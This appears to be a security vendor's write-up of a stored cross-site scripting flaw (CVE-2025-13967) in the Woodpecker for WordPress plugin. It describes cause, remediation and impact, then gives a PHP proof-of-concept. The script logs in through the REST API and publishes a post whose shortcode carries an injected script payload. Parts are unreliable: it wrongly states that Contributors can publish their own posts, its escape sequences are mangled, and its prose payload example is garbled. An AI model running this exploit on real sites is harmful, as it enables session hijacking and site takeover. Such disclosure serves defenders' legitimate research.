Atomic Edge analysis of CVE-2025-13967 (metadata-based):
This vulnerability is an authenticated stored cross-site scripting (XSS) flaw in the Woodpecker for WordPress plugin. The vulnerability exists in the `form_name` attribute of the `[woodpecker-connector]` shortcode. Attackers with Contributor-level access or higher can inject malicious scripts into posts or pages. These scripts execute in the browsers of any user viewing the compromised content.
Atomic Edge research infers the root cause is insufficient input sanitization and output escaping. The plugin likely accepts user-supplied input for the `form_name` shortcode attribute and directly outputs it without proper escaping. The CWE-79 classification confirms the issue involves improper neutralization of input during web page generation. This conclusion is inferred from the vulnerability description and CWE, as the source code is unavailable for direct confirmation.
Exploitation requires an authenticated user with at least Contributor privileges. The attacker would edit or create a post or page using the WordPress editor. They would insert the vulnerable `[woodpecker-connector]` shortcode with a malicious payload in its `form_name` attribute. A typical payload would be `form_name=”alert(document.domain)”`. When the post is saved and later viewed by any user, the injected JavaScript executes in the victim’s browser context.
Remediation requires implementing proper output escaping. The plugin developers must ensure all user-controlled attributes passed to the shortcode are escaped before being rendered in the browser. WordPress provides functions like `esc_attr()` for HTML attributes. Input validation should also be applied, but output escaping is the primary defense for this stored XSS vector.
The impact of successful exploitation is client-side code execution. An attacker can perform actions within the victim’s session, such as stealing cookies, performing requests on the user’s behalf, or redirecting to malicious sites. For administrators, this could lead to site takeover. The CVSS score of 6.4 reflects the medium attack complexity and the scope change, as the vulnerability can affect users beyond the initial compromised component.
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2025-13967 - Woodpecker for WordPress <= 3.0.4 - Authenticated (Contributor+) Stored Cross-Site Scripting via 'form_name' Shortcode Attribute
<?php
/**
* Proof of Concept for CVE-2025-13967.
* This script simulates an authenticated Contributor user creating a post with a malicious shortcode.
* Assumptions:
* 1. The target site has the Woodpecker plugin (<=3.0.4) installed.
* 2. Valid Contributor-level credentials are available.
* 3. The WordPress REST API is accessible for authentication and post creation.
*/
$target_url = 'https://example.com'; // CHANGE THIS
$username = 'contributor_user'; // CHANGE THIS
$password = 'contributor_pass'; // CHANGE THIS
// Payload: Basic XSS proof-of-concept. In a real attack, this could be more malicious JavaScript.
$malicious_form_name = '"><script>alert(`Atomic Edge XSS Test: ${document.domain}`)</script>';
$shortcode = '[woodpecker-connector form_name="' . $malicious_form_name . '"]';
$ch = curl_init();
// Step 1: Authenticate via the WordPress REST API to obtain a nonce or JWT.
// This example uses the Application Password method (WordPress 5.6+).
// For older sites, you might need to simulate a wp-login.php POST and manage cookies.
curl_setopt_array($ch, [
CURLOPT_URL => $target_url . '/wp-json/wp/v2/posts',
CURLOPT_RETURNTRANSFER => true,
CURLOPT_USERPWD => $username . ':' . $password,
CURLOPT_HTTPHEADER => ['Content-Type: application/json'],
]);
// Test authentication by fetching user info.
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
if ($http_code !== 200) {
echo "Authentication failed. HTTP Code: $http_coden";
echo "Response: $responsen";
exit(1);
}
// Step 2: Create a new post containing the malicious shortcode.
$post_data = json_encode([
'title' => 'Test Post with XSS',
'content' => $shortcode . 'nnThis post contains a malicious Woodpecker shortcode.',
'status' => 'publish' // Contributor can publish their own posts.
]);
curl_setopt_array($ch, [
CURLOPT_URL => $target_url . '/wp-json/wp/v2/posts',
CURLOPT_POST => true,
CURLOPT_POSTFIELDS => $post_data,
]);
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
if ($http_code === 201) {
$response_data = json_decode($response, true);
$post_id = $response_data['id'];
$post_link = $response_data['link'];
echo "Successfully created malicious post (ID: $post_id).n";
echo "Visit: $post_link to trigger the XSS payload.n";
} else {
echo "Failed to create post. HTTP Code: $http_coden";
echo "Response: $responsen";
}
curl_close($ch);
?>
